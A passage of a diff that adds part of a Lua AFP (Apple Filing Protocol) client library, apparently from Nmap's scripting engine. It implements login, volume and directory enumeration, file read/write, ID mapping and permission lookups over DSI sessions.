+ table.insert(result.network_addresses, ipOps.str_to_ip(ip))
+ elseif tag == 0x02 then
+ -- four byte ip and two byte port
+ local ip, port
+ ip, port, pos = string.unpack("c4 >I2", packet.data, pos)
+ table.insert(result.network_addresses, string.format("%s:%d", ipOps.str_to_ip(ip), port))
+ elseif tag == 0x03 then
+ -- ddp address (two byte network, one byte
+ -- node, one byte socket) not tested, anyone
+ -- use ddp anymore?
+ local network, node, socket
+ network, node, socket, pos = string.unpack(">I2BB", packet.data, pos)
+ table.insert(result.network_addresses, string.format("ddp %d.%d:%d", network, node, socket))
+ elseif tag == 0x04 then
+ -- dns name (string)
+ local temp
+ temp, pos = string.unpack("z", packet.data:sub(1,pos+length-3), pos)
+ table.insert(result.network_addresses, temp)
+ elseif tag == 0x05 then
+ -- four byte ip and two byte port, client
+ -- should use ssh. not tested, should work as it
+ -- is the same as tag 0x02
+ local ip, port
+ ip, port, pos = string.unpack("c4 >I2", packet.data, pos)
+ table.insert(result.network_addresses, string.format("ssh://%s:%d", ipOps.str_to_ip(ip), port))
+ elseif tag == 0x06 then
+ -- 16 byte ipv6
+ -- not tested, but should work (next tag is
+ -- tested)
+ local ip
+ ip, pos = string.unpack("c16", packet.data, pos)
+
+ table.insert(result.network_addresses, ipOps.str_to_ip(ip))
+ elseif tag == 0x07 then
+ -- 16 byte ipv6 and two byte port
+ local ip, port
+ ip, port, pos = string.unpack(">c16 I2", packet.data, pos)
+
+ table.insert(result.network_addresses,
+ string.format("[%s]:%d", ipOps.str_to_ip(ip), port))
+ end
+ end
+
+ -- same idea as the others here
+ result.directory_names_count, pos = string.unpack("B", packet.data, offsets.directory_names_count + 1)
+
+ result.directory_names = {}
+ for i = 1, result.directory_names_count do
+ local dirname
+ dirname, pos = string.unpack("s1", packet.data, pos)
+ table.insert(result.directory_names, dirname)
+ end
+
+ -- only one utf8 server name. note this string has a two-byte length.
+ result.utf8_server_name = string.unpack(">s2", packet.data, offsets.utf8_server_name + 1)
+ response.result = result
+
+ return response
+ end,
+
+
+ --- Sends an FPGetUserInfo AFP request to the server and handles the response
+ --
+ -- @return response object with the following result <code>user_bitmap</code> and
+ -- <code>uid</code> fields
+ fp_get_user_info = function( self )
+
+ local packet, pos, status, response
+ local data_offset = 0
+ local flags = 1 -- Default User
+ local uid = 0
+ local bitmap = USER_BITMAP.UserId
+ local result = {}
+
+ local data = string.pack( ">BBI4I2", COMMAND.FPGetUserInfo, flags, uid, bitmap )
+ packet = self:create_fp_packet( REQUEST.Command, data_offset, data )
+
+ self:send_fp_packet( packet )
+ response = self:read_fp_packet()
+ if response:getErrorCode() ~= ERROR.FPNoErr then
+ return response
+ end
+
+ response.result.user_bitmap, response.result.uid, pos = string.unpack(">I2I4", packet.data)
+
+ return response
+ end,
+
+ --- Sends an FPGetSrvrParms AFP request to the server and handles the response
+ --
+ -- @return response object with the following result <code>server_time</code>,
+ -- <code>vol_count</code>, <code>volumes</code> fields
+ fp_get_srvr_parms = function(self)
+ local packet, status, data
+ local data_offset = 0
+ local response = {}
+ local pos = 0
+ local parms = {}
+
+ data = string.pack("Bx", COMMAND.FPGetSrvParms)
+ packet = self:create_fp_packet( REQUEST.Command, data_offset, data )
+ self:send_fp_packet( packet )
+ response = self:read_fp_packet()
+
+ if response:getErrorCode() ~= ERROR.FPNoErr then
+ return response
+ end
+
+ data = response:getPacketData()
+ parms.server_time, parms.vol_count, pos = string.unpack(">I4B", data)
+
+ parms.volumes = {}
+
+ for i=1, parms.vol_count do
+ local volume_name
+ -- pos+1 to skip over the volume bitmap
+ volume_name, pos = string.unpack("s1", data, pos + 1)
+ table.insert(parms.volumes, string.format("%s", volume_name) )
+ end
+
+ response:setResult(parms)
+
+ return response
+ end,
+
+
+ --- Sends an FPLogin request to the server and handles the response
+ --
+ -- This function currently only supports the 3.1 through 3.3 protocol versions
+ -- It currently supports the following authentication methods:
+ -- o No User Authent
+ -- o DHCAST128
+ --
+ -- The DHCAST128 UAM should work against most servers even though it's
+ -- superceded by the DHX2 UAM.
+ --
+ -- @param afp_version string (AFP3.3|AFP3.2|AFP3.1)
+ -- @param uam string containing authentication information
+ -- @return Response object
+ fp_login = function( self, afp_version, uam, username, password, options )
+ local packet, status, data
+ local data_offset = 0
+ local status, response
+
+ if not HAVE_SSL then
+ response = Response:new()
+ response:setErrorMessage("OpenSSL not available, aborting ...")
+ return response
+ end
+
+ -- currently we only support AFP3.3
+ if afp_version == nil or ( afp_version ~= "AFP3.3" and afp_version ~= "AFP3.2" and afp_version ~= "AFP3.1" ) then
+ response = Response:new()
+ response:setErrorMessage("Incorrect AFP version")
+ return response
+ end
+
+ if ( uam == "No User Authent" ) then
+ data = string.pack( "Bs1s1", COMMAND.FPLogin, afp_version, uam )
+ packet = self:create_fp_packet( REQUEST.Command, data_offset, data )
+ self:send_fp_packet( packet )
+ return self:read_fp_packet( )
+ elseif( uam == "DHCAST128" ) then
+ local dhx_s2civ, dhx_c2civ = 'CJalbert', 'LWallace'
+ local p, g, Ra, Ma, Mb, K, nonce
+ local EncData, PlainText, K_bin, auth_response
+ local Id
+ local username = username or ""
+ local password = password or ""
+
+ username = username .. string.rep('\0', (#username + 1) % 2)
+
+ p = openssl.bignum_hex2bn("BA2873DFB06057D43F2024744CEEE75B")
+ g = openssl.bignum_dec2bn("7")
+ Ra = openssl.bignum_hex2bn("86F6D3C0B0D63E4B11F113A2F9F19E3BBBF803F28D30087A1450536BE979FD42")
+ Ma = openssl.bignum_mod_exp(g, Ra, p)
+
+ data = string.pack( "Bs1s1s1", COMMAND.FPLogin, afp_version, uam, username) .. openssl.bignum_bn2bin(Ma)
+ packet = self:create_fp_packet( REQUEST.Command, data_offset, data )
+ self:send_fp_packet( packet )
+ response = self:read_fp_packet( )
+ if ( response:getErrorCode() ~= ERROR.FPAuthContinue ) then
+ return response
+ end
+
+ if ( response.packet.header.length ~= 50 ) then
+ response:setErrorMessage("LoginContinue packet contained invalid data")
+ return response
+ end
+
+ Id, Mb, EncData = string.unpack(">I2c16c32", response.packet.data )
+
+ Mb = openssl.bignum_bin2bn( Mb )
+ K = openssl.bignum_mod_exp (Mb, Ra, p)
+ K_bin = openssl.bignum_bn2bin(K)
+ nonce = openssl.decrypt("cast5-cbc", K_bin, dhx_s2civ, EncData, false ):sub(1,16)
+ nonce = openssl.bignum_add( openssl.bignum_bin2bn(nonce), openssl.bignum_dec2bn("1") )
+ PlainText = openssl.bignum_bn2bin(nonce) .. Util.ZeroPad(password, 64)
+ auth_response = openssl.encrypt( "cast5-cbc", K_bin, dhx_c2civ, PlainText, true)
+
+ data = string.pack( ">BBI2", COMMAND.FPLoginCont, 0, Id) .. auth_response
+ packet = self:create_fp_packet( REQUEST.Command, data_offset, data )
+ self:send_fp_packet( packet )
+ response = self:read_fp_packet( )
+ if ( response:getErrorCode() ~= ERROR.FPNoErr ) then
+ return response
+ end
+ return response
+ end
+ response:setErrorMessage("Unsupported uam: " .. uam or "nil")
+ return response
+ end,
+
+ -- Terminates sessions and frees server resources established by FPLoginand FPLoginExt.
+ --
+ -- @return response object
+ fp_logout = function( self )
+ local packet, data, response
+ local data_offset = 0
+
+ data = string.pack("Bx", COMMAND.FPLogout)
+ packet = self:create_fp_packet( REQUEST.Command, data_offset, data )
+ self:send_fp_packet( packet )
+ return self:read_fp_packet( )
+ end,
+
+ --- Sends an FPOpenVol request to the server and handles the response
+ --
+ -- @param bitmap number bitmask of volume information to request
+ -- @param volume_name string containing the volume name to query
+ -- @return response object with the following result <code>bitmap</code> and
+ -- <code>volume_id</code> fields
+ fp_open_vol = function( self, bitmap, volume_name )
+ local packet, status, pos, data
+ local data_offset = 0
+ local response, volume = {}, {}
+
+ data = string.pack(">BxI2s1", COMMAND.FPOpenVol, bitmap, volume_name)
+ packet = self:create_fp_packet( REQUEST.Command, data_offset, data )
+ self:send_fp_packet( packet )
+ response = self:read_fp_packet()
+ if response:getErrorCode() ~= ERROR.FPNoErr then
+ return response
+ end
+
+ volume.bitmap, volume.volume_id, pos = string.unpack(">I2I2", response.packet.data)
+ response:setResult(volume)
+ return response
+ end,
+
+
+ --- Sends an FPGetFileDirParms request to the server and handles the response
+ --
+ -- @param volume_id number containing the id of the volume to query
+ -- @param did number containing the id of the directory to query
+ -- @param file_bitmap number bitmask of file information to query
+ -- @param dir_bitmap number bitmask of directory information to query
+ -- @param path table containing the name and the name encoding type of the directory to query
+ -- @return response object with the following result <code>file_bitmap</code>, <code>dir_bitmap</code>,
+ -- <code>file_type</code> and (<code>dir<code> or <code>file</code> tables) depending on whether
+ -- <code>did</code> is a file or directory
+ fp_get_file_dir_parms = function( self, volume_id, did, file_bitmap, dir_bitmap, path )
+
+ local packet, status, data
+ local data_offset = 0
+ local response, parms = {}, {}
+ local pos
+
+ if ( did == nil ) then
+ response = Response:new()
+ response:setErrorMessage("No Directory Id supplied")
+ return response
+ end
+
+ if ( volume_id == nil ) then
+ response = Response:new()
+ response:setErrorMessage("No Volume Id supplied")
+ return response
+ end
+
+ data = string.pack(">BxI2I4I2I2", COMMAND.FPGetFileDirParams, volume_id, did, file_bitmap, dir_bitmap)
+ .. encode_path(path)
+ packet = self:create_fp_packet( REQUEST.Command, data_offset, data )
+ self:send_fp_packet( packet )
+ response = self:read_fp_packet()
+
+ if response:getErrorCode() ~= ERROR.FPNoErr then
+ return response
+ end
+
+ parms.file_bitmap, parms.dir_bitmap, parms.file_type, pos = string.unpack( ">I2I2Bx", response.packet.data )
+
+ -- file or dir?
+ if ( parms.file_type == 0x80 ) then
+ pos, parms.dir = Util.decode_dir_bitmap( parms.dir_bitmap, response.packet.data, pos )
+ else
+ -- file
+ pos, parms.file = Util.decode_file_bitmap( parms.file_bitmap, response.packet.data, pos )
+ end
+
+ response:setResult(parms)
+ return response
+ end,
+
+ --- Sends an FPEnumerateExt2 request to the server and handles the response
+ --
+ -- @param volume_id number containing the id of the volume to query
+ -- @param did number containing the id of the directory to query
+ -- @param file_bitmap number bitmask of file information to query
+ -- @param dir_bitmap number bitmask of directory information to query
+ -- @param req_count number
+ -- @param start_index number
+ -- @param reply_size number
+ -- @param path table containing the name and the name encoding type of the directory to query
+ -- @return response object with the following result set to a table of tables containing
+ -- <code>file_bitmap</code>, <code>dir_bitmap</code>, <code>req_count</code> fields
+ fp_enumerate_ext2 = function( self, volume_id, did, file_bitmap, dir_bitmap, req_count, start_index, reply_size, path )
+
+ local packet, pos, status
+ local data_offset = 0
+ local response,records = {}, {}
+
+ local data = string.pack( ">BxI2I4I2I2", COMMAND.FPEnumerateExt2, volume_id, did, file_bitmap, dir_bitmap )
+ .. string.pack( ">I2I4I4", req_count, start_index, reply_size)
+ .. encode_path(path)
+ packet = self:create_fp_packet( REQUEST.Command, data_offset, data )
+
+ self:send_fp_packet( packet )
+ response = self:read_fp_packet( )
+
+ if response:getErrorCode() ~= ERROR.FPNoErr then
+ return response
+ end
+
+ file_bitmap, dir_bitmap, req_count, pos = string.unpack(">I2I2I2", response.packet.data)
+
+ records = {}
+
+ for i=1, req_count do
+ local record = {}
+ local len, _, ftype
+
+ len, ftype, pos = string.unpack(">I2Bx", response.packet.data, pos)
+
+ if ( ftype == 0x80 ) then
+ _, record = Util.decode_dir_bitmap( dir_bitmap, response.packet.data, pos )
+ else
+ -- file
+ _, record = Util.decode_file_bitmap( file_bitmap, response.packet.data, pos )
+ end
+
+ if ( len % 2 ) ~= 0 then
+ len = len + 1
+ end
+
+ pos = pos + ( len - 4 )
+
+ record.type = ftype
+ table.insert(records, record)
+ end
+
+ response:setResult(records)
+ return response
+ end,
+
+ --- Sends an FPOpenFork request to the server and handles the response
+ --
+ -- @param flag number
+ -- @param volume_id number containing the id of the volume to query
+ -- @param did number containing the id of the directory to query
+ -- @param file_bitmap number bitmask of file information to query
+ -- @param access_mode number containing bitmask of options from <code>ACCESS_MODE</code>
+ -- @param path string containing the name of the directory to query
+ -- @return response object with the following result contents <code>file_bitmap</code> and <code>fork_id</code>
+ fp_open_fork = function( self, flag, volume_id, did, file_bitmap, access_mode, path )
+
+ local packet
+ local data_offset = 0
+ local response, fork = {}, {}
+
+ local data = string.pack( ">BBI2I4I2I2", COMMAND.FPOpenFork, flag, volume_id, did, file_bitmap, access_mode )
+ .. encode_path(path)
+
+ packet = self:create_fp_packet( REQUEST.Command, data_offset, data )
+ self:send_fp_packet( packet )
+ response = self:read_fp_packet()
+
+ if response:getErrorCode() ~= ERROR.FPNoErr then
+ return response
+ end
+
+ fork.file_bitmap, fork.fork_id = string.unpack(">I2I2", response.packet.data)
+ response:setResult(fork)
+ return response
+ end,
+
+ --- FPCloseFork
+ --
+ -- @param fork number containing the fork to close
+ -- @return response object
+ fp_close_fork = function( self, fork )
+ local packet
+ local data_offset = 0
+ local response = {}
+
+ local data = string.pack( ">BxI2", COMMAND.FPCloseFork, fork )
+
+ packet = self:create_fp_packet( REQUEST.Command, data_offset, data )
+ self:send_fp_packet( packet )
+ return self:read_fp_packet( )
+ end,
+
+ --- FPCreateDir
+ --
+ -- @param vol_id number containing the volume id
+ -- @param dir_id number containing the directory id
+ -- @param path table containing the name and name encoding type of the directory to query
+ -- @return response object
+ fp_create_dir = function( self, vol_id, dir_id, path )
+ local packet
+ local data_offset = 0
+ local response = {}
+
+ local data = string.pack( ">BxI2I4", COMMAND.FPCreateDir, vol_id, dir_id)
+ .. encode_path(path)
+
+ packet = self:create_fp_packet( REQUEST.Command, data_offset, data )
+ self:send_fp_packet( packet )
+ return self:read_fp_packet( )
+ end,
+
+ --- Sends an FPCloseVol request to the server and handles the response
+ --
+ -- @param volume_id number containing the id of the volume to close
+ -- @return response object
+ fp_close_vol = function( self, volume_id )
+ local packet
+ local data_offset = 0
+ local response = {}
+
+ local data = string.pack( ">BxI2", COMMAND.FPCloseVol, volume_id )
+
+ packet = self:create_fp_packet( REQUEST.Command, data_offset, data )
+ self:send_fp_packet( packet )
+ return self:read_fp_packet( )
+ end,
+
+ --- FPReadExt
+ --
+ -- @param fork number containing the open fork
+ -- @param offset number containing the offset from where writing should start. Negative value indicates offset from the end of the fork
+ -- @param count number containing the number of bytes to be written
+ -- @return response object
+ fp_read_ext = function( self, fork, offset, count )
+ local packet, response
+ local data_offset = 0
+ local block_size = 1024
+ local data = string.pack( ">BxI2I8I8", COMMAND.FPReadExt, fork, offset, count )
+
+ packet = self:create_fp_packet( REQUEST.Command, data_offset, data )
+ self:send_fp_packet( packet )
+ response = self:read_fp_packet( )
+
+ if ( response:getErrorCode() == ERROR.FPEOFErr and response.packet.header.length > 0 ) then
+ response:setErrorCode( ERROR.FPNoErr )
+ end
+
+ response:setResult( response.packet.data )
+ return response
+ end,
+
+ --- FPWriteExt
+ --
+ -- @param flag number indicates whether Offset is relative to the beginning or end of the fork.
+ -- @param fork number containing the open fork
+ -- @param offset number containing the offset from where writing should start. Negative value indicates offset from the end of the fork
+ -- @param count number containing the number of bytes to be written
+ -- @param fdata string containing the data to be written
+ -- @return response object
+ fp_write_ext = function( self, flag, fork, offset, count, fdata )
+ local packet
+ local data_offset = 20
+ local data
+
+ if count > fdata:len() then
+ local err = Response:new()
+ err:setErrorMessage("fp_write_ext: Count is greater than the amount of data")
+ return err
+ end
+ if count < 0 then
+ local err = Response:new()
+ err:setErrorMessage("fp_write_ext: Count must exceed zero")
+ return err
+ end
+
+ data = string.pack( ">BBI2I8I8", COMMAND.FPWriteExt, flag, fork, offset, count) .. fdata
+ packet = self:create_fp_packet( REQUEST.Write, data_offset, data )
+ self:send_fp_packet( packet )
+ return self:read_fp_packet( )
+ end,
+
+ --- FPCreateFile
+ --
+ -- @param flag number where 0 indicates a soft create and 1 indicates a hard create.
+ -- @param vol_id number containing the volume id
+ -- @param did number containing the ancestor directory id
+ -- @param path string containing the path, including the volume, path and file name
+ -- @return response object
+ fp_create_file = function(self, flag, vol_id, did, path )
+ local packet
+ local data_offset = 0
+ local data = string.pack(">BBI2I4", COMMAND.FPCreateFile, flag, vol_id, did)
+ .. encode_path(path)
+
+ packet = self:create_fp_packet( REQUEST.Command, data_offset, data )
+ self:send_fp_packet( packet )
+ return self:read_fp_packet()
+ end,
+
+ --- FPMapId
+ --
+ -- @param subfunc number containing the subfunction to call
+ -- @param id number containing th id to translate
+ -- @return response object with the id in the <code>result</code> field
+ fp_map_id = function( self, subfunc, id )
+ local packet, response
+ local data_offset = 0
+ local data = string.pack( "BB", COMMAND.FPMapId, subfunc )
+
+ if ( subfunc == MAP_ID.UserUUIDToUTF8Name or subfunc == MAP_ID.GroupUUIDToUTF8Name ) then
+ data = data .. string.pack(">I8", id)
+ else
+ data = data .. string.pack(">I4", id)
+ end
+
+ packet = self:create_fp_packet( REQUEST.Command, data_offset, data )
+ self:send_fp_packet( packet )
+ response = self:read_fp_packet( )
+
+ if response:getErrorCode() ~= ERROR.FPNoErr then
+ return response
+ end
+
+ -- Netatalk returns the name with 1-byte length prefix,
+ -- Mac OS has a 2-byte (UTF-8) length prefix
+ local len = string.unpack("B", response.packet.data)
+
+ -- if length is zero assume 2-byte length (UTF-8 name)
+ if len == 0 then
+ response:setResult(string.unpack(">s2", response.packet.data))
+ else
+ response:setResult(string.unpack("s1", response.packet.data ))
+ end
+ return response
+ end,
+
+ --- FPMapName
+ --
+ -- @param subfunc number containing the subfunction to call
+ -- @param name string containing name to map
+ -- @return response object with the mapped name in the <code>result</code> field
+ fp_map_name = function( self, subfunc, name )
+ local packet
+ local data_offset = 0
+ local data = string.pack(">BBs2", COMMAND.FPMapName, subfunc, name )
+ local response
+
+ packet = self:create_fp_packet( REQUEST.Command, data_offset, data )
+ self:send_fp_packet( packet )
+ response = self:read_fp_packet( )
+
+ if response:getErrorCode() ~= ERROR.FPNoErr then
+ return response
+ end
+
+ response:setResult(string.unpack(">I4", response.packet.data))
+ return response
+ end,
+}
+
+--- The helper class wraps the protocol class and their functions. It contains
+-- high-level functions with descriptive names, facilitating the use and
+-- minimizing the need to fully understand the AFP low-level protocol details.
+Helper = {
+
+ --- Creates a new helper object
+ new = function(self,o)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.username = stdnse.get_script_args("afp.username")
+ o.password = stdnse.get_script_args("afp.password")
+ return o
+ end,
+
+ --- Connects to the remote server and establishes a new AFP session
+ --
+ -- @param host table as received by the action function of the script
+ -- @param port table as received by the action function of the script
+ -- @return status boolean
+ -- @return string containing error message (if status is false)
+ OpenSession = function( self, host, port )
+ local status, response
+
+ self.socket = nmap.new_socket()
+ self.socket:set_timeout( 5000 )
+ status = self.socket:connect(host, port)
+ if not status then
+ return false, "Socket connection failed"
+ end
+
+ self.proto = Proto:new( { socket=self.socket} )
+ response = self.proto:dsi_open_session(self.socket)
+
+ if response:getErrorCode() ~= ERROR.FPNoErr then
+ self.socket:close()
+ return false, response:getErrorMessage()
+ end
+
+ return true
+ end,
+
+ --- Closes the AFP session and then the socket
+ --
+ -- @return status boolean
+ -- @return string containing error message (if status is false)
+ CloseSession = function( self )
+ local status, packet = self.proto:dsi_close_session( )
+ self.socket:close()
+
+ return status, packet
+ end,
+
+ --- Terminates the connection, without closing the AFP session
+ --
+ -- @return status (always true)
+ -- @return string (always "")
+ Terminate = function( self )
+ self.socket:close()
+ return true,""
+ end,
+
+ --- Logs in to an AFP service
+ --
+ -- @param username (optional) string containing the username
+ -- @param password (optional) string containing the user password
+ -- @param options table containing additional options <code>uam</code>
+ Login = function( self, username, password, options )
+ local uam = ( options and options.UAM ) and options.UAM or "DHCAST128"
+ local response
+
+ -- username and password arguments override the ones supplied using the
+ -- script arguments afp.username and afp.password
+ local username = username or self.username
+ local password = password or self.password
+
+ if ( username and uam == "DHCAST128" ) then
+ response = self.proto:fp_login( "AFP3.1", "DHCAST128", username, password )
+ elseif( username ) then
+ return false, ("Unsupported UAM: %s"):format(uam)
+ else
+ response = self.proto:fp_login( "AFP3.1", "No User Authent" )
+ end
+
+ if response:getErrorCode() ~= ERROR.FPNoErr then
+ return false, response:getErrorMessage()
+ end
+
+ return true, "Success"
+ end,
+
+ --- Logs out from the AFP service
+ Logout = function(self)
+ return self.proto:fp_logout()
+ end,
+
+ --- Walks the directory tree specified by <code>str_path</code> and returns the node information
+ --
+ -- @param str_path string containing the directory
+ -- @return status boolean true on success, otherwise false
+ -- @return item table containing node information <code>DirectoryId</code> and <code>DirectoryName</code>
+ WalkDirTree = function( self, str_path )
+ local status, response
+ local elements = stringaux.strsplit( "/", str_path )
+ local f_bm = FILE_BITMAP.NodeId + FILE_BITMAP.ParentDirId + FILE_BITMAP.LongName
+ local d_bm = DIR_BITMAP.NodeId + DIR_BITMAP.ParentDirId + DIR_BITMAP.LongName
+ local item = { DirectoryId = 2 }
+
+ response = self.proto:fp_open_vol( VOL_BITMAP.ID, elements[1] )
+ if response:getErrorCode() ~= ERROR.FPNoErr then
+ return false, response:getErrorMessage()
+ end
+
+ item.VolumeId = response.result.volume_id
+ item.DirectoryName = str_path
+
+ for i=2, #elements do
+ local path = { type=PATH_TYPE.LongName, name=elements[i] }
+ response = self.proto:fp_get_file_dir_parms( item.VolumeId, item.DirectoryId, f_bm, d_bm, path )
+ if response:getErrorCode() ~= ERROR.FPNoErr then
+ return false, response:getErrorMessage()
+ end
+ item.DirectoryId = response.result.dir.NodeId
+ item.DirectoryName = response.result.dir.LongName
+ end
+
+ return true, item
+ end,
+
+ --- Reads a file on the AFP server
+ --
+ -- @param str_path string containing the AFP sharepoint, path and filename eg. HR/Documents/File.doc
+ -- @return status boolean true on success, false on failure
+ -- @return content string containing the file contents
+ ReadFile = function( self, str_path )
+ local status, response, fork, content, vol_name
+ local offset, count, did = 0, 1024, 2
+ local status, path, vol_id
+ local p = Util.SplitPath( str_path )
+
+ status, response = self:WalkDirTree( p.dir )
+ if ( not status ) then
+ return false, response
+ end
+
+ vol_id = response.VolumeId
+ did = response.DirectoryId
+
+ path = { type=PATH_TYPE.LongName, name=p.file }
+
+ response = self.proto:fp_open_fork(0, vol_id, did, 0, ACCESS_MODE.Read, path )
+ if response:getErrorCode() ~= ERROR.FPNoErr then
+ return false, response:getErrorMessage()
+ end
+
+ fork = response.result.fork_id
+ content = ""
+
+ while true do
+ response = self.proto:fp_read_ext( fork, offset, count )
+ if response:getErrorCode() ~= ERROR.FPNoErr then
+ break
+ end
+ content = content .. response.result
+ offset = offset + count
+ end
+
+ response = self.proto:fp_close_fork( fork )
+ if response:getErrorCode() ~= ERROR.FPNoErr then
+ return false, response:getErrorMessage()
+ end
+
+ return true, content
+ end,
+
+ --- Writes a file to the AFP server
+ --
+ -- @param str_path string containing the AFP sharepoint, path and filename eg. HR/Documents/File.doc
+ -- @param fdata string containing the data to write to the file
+ -- @return status boolean true on success, false on failure
+ -- @return error string containing error message if status is false
+ WriteFile = function( self, str_path, fdata )
+ local status, response, fork, content
+ local offset, count = 1, 1024
+ local status, vol_id, did, path
+ local p = Util.SplitPath( str_path )
+
+ status, response = self:WalkDirTree( p.dir )
+ vol_id = response.VolumeId
+ did = response.DirectoryId
+
+ if ( not status ) then
+ return false, response
+ end
+
+ path = { type=PATH_TYPE.LongName, name=p.file }
+
+ status, response = self.proto:fp_create_file( 0, vol_id, did, path )
+ if not status then
+ if ( response.header.error_code ~= ERROR.FPObjectExists ) then
+ return false, response.header.error_msg
+ end
+ end
+
+ response = self.proto:fp_open_fork( 0, vol_id, did, 0, ACCESS_MODE.Write, path )
+ if response:getErrorCode() ~= ERROR.FPNoErr then
+ return false, response:getErrorMessage()
+ end
+
+ fork = response.result.fork_id
+
+ response = self.proto:fp_write_ext( 0, fork, 0, fdata:len(), fdata )
+
+ return true, nil
+ end,
+
+ --- Maps a user id (uid) to a user name
+ --
+ -- @param uid number containing the uid to resolve
+ -- @return status boolean true on success, false on failure
+ -- @return username string on success
+ -- error string on failure
+ UIDToName = function( self, uid )
+ local response = self.proto:fp_map_id( MAP_ID.UserIDToName, uid )
+ if response:getErrorCode() ~= ERROR.FPNoErr then
+ return false, response:getErrorMessage()
+ end
+ return true, response.result
+ end,
+
+ --- Maps a group id (gid) to group name
+ --
+ -- @param gid number containing the gid to lookup
+ -- @return status boolean true on success, false on failure
+ -- @return groupname string on success
+ -- error string on failure
+ GIDToName = function( self, gid )
+ local response = self.proto:fp_map_id( MAP_ID.GroupIDToName, gid )
+ if response:getErrorCode() ~= ERROR.FPNoErr then
+ return false, response:getErrorMessage()
+ end
+ return true, response.result
+ end,
+
+ --- Maps a username to a UID
+ --
+ -- @param name string containing the username to map to an UID
+ -- @return status boolean true on success, false on failure
+ -- @return UID number on success
+ -- error string on failure
+ NameToUID = function( self, name )
+ local response = self.proto:fp_map_name( MAP_NAME.NameToUserID, name )
+ if response:getErrorCode() ~= ERROR.FPNoErr then
+ return false, response:getErrorMessage()
+ end
+ return true, response.result
+ end,
+
+ --- List the contents of a directory
+ --
+ -- @param str_path string containing the sharepoint and directory names
+ -- @param options table options containing zero or more of the options
+ -- <code>max_depth</code> and <code>dironly</code>
+ -- @param depth number containing the current depth (used when called recursively)
+ -- @param parent table containing information about the parent object (used when called recursively)
+ -- @return status boolean true on success, false on failure
+ -- @return dir table containing a table for each directory item with the following:
+ -- <code>type</code>, <code>name</code>, <code>id</code>,
+ -- <code>fsize</code>, <code>uid</code>, <code>gid</code>,
+ -- <code>privs</code>, <code>create</code>, <code>modify</code>
+ Dir = function( self, str_path, options, depth, parent )
+ local status, result
+ local depth = depth or 1
+ local options = options or { max_depth = 1 }
+ local response, records
+ local f_bm = FILE_BITMAP.NodeId | FILE_BITMAP.ParentDirId
+ | FILE_BITMAP.LongName | FILE_BITMAP.UnixPrivileges
+ | FILE_BITMAP.CreationDate | FILE_BITMAP.ModificationDate
+ | FILE_BITMAP.ExtendedDataForkSize
+ local d_bm = DIR_BITMAP.NodeId | DIR_BITMAP.ParentDirId
+ | DIR_BITMAP.LongName | DIR_BITMAP.UnixPrivileges
+ | DIR_BITMAP.CreationDate | DIR_BITMAP.ModificationDate
+
+ local TYPE_DIR = 0x80
+
+ if ( parent == nil ) then
+ status, response = self:WalkDirTree( str_path )
+ if ( not status ) then
+ return false, response
+ end
+
+ parent = {}
+ parent.vol_id = response.VolumeId
+ parent.did = response.DirectoryId
+ parent.dir_name = response.DirectoryName or ""
+ parent.out_tbl = {}
+ end
+
+ if ( options and options.max_depth and options.max_depth > 0 and options.max_depth < depth ) then
+ return false, "Max Depth Reached"
+ end
+
+ local path = { type=PATH_TYPE.LongName, name="" }
+ response = self.proto:fp_enumerate_ext2( parent.vol_id, parent.did, f_bm, d_bm, 1000, 1, 1000 * 300, path)
+
+ if response:getErrorCode() ~= ERROR.FPNoErr then
+ return false, response:getErrorMessage()
+ end
+
+ records = response.result or {}
+ local dir_items = {}
+
+ for _, record in ipairs( records ) do
+ local isdir = record.type == TYPE_DIR
+ -- Skip non-directories if option "dironly" is set
+ if isdir or not options.dironly then
+ local item = {type = record.type,
+ name = record.LongName,
+ id = record.NodeId,
+ fsize = record.ExtendedDataForkSize or 0}
+ local privs = (record.UnixPrivileges or {}).ua_permissions
+ if privs then
+ item.uid = record.UnixPrivileges.uid
+ item.gid = record.UnixPrivileges.gid
+ item.privs = (isdir and "d" or "-") .. Util.decode_unix_privs(privs)
+ end
+ item.create = Util.time_to_string(record.CreationDate)
+ item.modify = Util.time_to_string(record.ModificationDate)
+ table.insert( dir_items, item )
+ end
+ if isdir then
+ self:Dir("", options, depth + 1, { vol_id = parent.vol_id, did=record.NodeId, dir_name=record.LongName, out_tbl=dir_items} )
+ end
+ end
+
+ table.insert( parent.out_tbl, dir_items )
+
+ return true, parent.out_tbl
+ end,
+
+ --- Displays a directory tree
+ --
+ -- @param str_path string containing the sharepoint and the directory
+ -- @param options table options containing zero or more of the options
+ -- <code>max_depth</code> and <code>dironly</code>
+ -- @return dirtree table containing the directories
+ DirTree = function( self, str_path, options )
+ local options = options or {}
+ options.dironly = true
+ return self:Dir( str_path, options )
+ end,
+
+ --- List the AFP sharepoints
+ --
+ -- @return volumes table containing the sharepoints
+ ListShares = function( self )
+ local response
+ response = self.proto:fp_get_srvr_parms( )
+
+ if response:getErrorCode() ~= ERROR.FPNoErr then
+ return false, response:getErrorMessage()
+ end
+
+ return true, response.result.volumes
+ end,
+
+ --- Determine the sharepoint permissions
+ --
+ -- @param vol_name string containing the name of the volume
+ -- @return status boolean true on success, false on failure
+ -- @return acls table containing the volume acls as returned by <code>acls_to_long_string</code>
+ GetSharePermissions = function( self, vol_name )
+ local status, response, acls
+
+ response = self.proto:fp_open_vol( VOL_BITMAP.ID, vol_name )
+
+ if response:getErrorCode() == ERROR.FPNoErr then
+ local vol_id = response.result.volume_id
+ local path = { type = PATH_TYPE.LongName, name = "" }
+
+ response = self.proto:fp_get_file_dir_parms( vol_id, 2, FILE_BITMAP.ALL, DIR_BITMAP.ALL, path )
+ if response:getErrorCode() == ERROR.FPNoErr then
+ if ( response.result.dir and response.result.dir.AccessRights ) then
+ acls = Util.acls_to_long_string(response.result.dir.AccessRights)
+ acls.name = nil
+ end
+ end
+ self.proto:fp_close_vol( vol_id )
+ end
+
+ return true, acls
+ end,
+
+ --- Gets the Unix permissions of a file
+ -- @param vol_name string containing the name of the volume
+ -- @param str_path string containing the name of the file
+ -- @return status true on success, false on failure
+ -- @return acls table (on success) containing the following fields
+ -- <code>uid</code> - a numeric user identifier
+ -- <code>gid</code> - a numeric group identifier
+ -- <code>privs</code> - a string value representing the permissions
+ -- eg: drwx------
+ -- @return err string (on failure) containing the error message
+ GetFileUnixPermissions = function(self, vol_name, str_path)
+ local response = self.proto:fp_open_vol( VOL_BITMAP.ID, vol_name )
+
+ if ( response:getErrorCode() ~= ERROR.FPNoErr ) then
+ return false, response:getErrorMessage()
+ end
+
+ local vol_id = response.result.volume_id
